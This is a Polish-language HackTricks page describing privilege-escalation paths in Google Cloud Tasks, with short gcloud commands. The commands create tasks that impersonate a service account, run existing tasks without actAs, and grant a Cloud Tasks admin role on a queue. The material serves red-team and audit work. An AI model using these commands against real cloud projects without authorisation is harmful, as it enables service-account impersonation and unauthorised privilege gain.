GCP - Cloud Tasks Privesc

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks

Cloud Tasks

cloudtasks.tasks.create, iam.serviceAccounts.actAs

Atakujący z tymi uprawnieniami może podszywać się pod inne konta serwisowe poprzez tworzenie zadań, które wykonują się z tożsamością określonego konta serwisowego. Pozwala to na wysyłanie uwierzytelnionych żądań HTTP do usług Cloud Run lub Cloud Functions chronionych przez IAM.

Utwórz Cloud Task podszywając się pod konto serwisowe ```bash gcloud tasks create-http-task \ task-$(date '+%Y%m%d%H%M%S') \ --location us-central1 \ --queue \ --url 'https://.us-central1.run.app' \ --method POST \ --header 'X-Hello: world' \ --body-content '{"hello":"world"}' \ --oidc-service-account-email @.iam.gserviceaccount.com ```

cloudtasks.tasks.run, cloudtasks.tasks.list

Atakujący posiadający te uprawnienia może uruchamiać istniejące zaplanowane zadania bez posiadania uprawnień do konta usługi powiązanego z zadaniem. Umożliwia to wykonanie zadań, które zostały wcześniej utworzone przy użyciu kont usług o wyższych uprawnieniach.

Uruchom istniejący Cloud Task bez uprawnienia actAs ```bash gcloud tasks run projects//locations/us-central1/queues//tasks/ ```

Podmiot wykonujący to polecenie nie potrzebuje uprawnienia iam.serviceAccounts.actAs do konta usługi przypisanego do zadania. Jednakże umożliwia to jedynie uruchamianie istniejących zadań — nie daje uprawnień do tworzenia ani modyfikacji zadań.

cloudtasks.queues.setIamPolicy

Atakujący posiadający to uprawnienie może przyznać sobie lub innym podmiotom Cloud Tasks roles na konkretnych kolejkach, potencjalnie eskalując do roles/cloudtasks.admin, które zawiera możliwość tworzenia i uruchamiania zadań.

Nadaj rolę Cloud Tasks admin na kolejce ```bash gcloud tasks queues add-iam-policy-binding \ \ --location us-central1 \ --member serviceAccount:@.iam.gserviceaccount.com \ --role roles/cloudtasks.admin ```

Pozwala to atakującemu nadać pełne uprawnienia administratora Cloud Tasks na kolejce dowolnemu service accountowi, którym zarządza.

Referencje

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks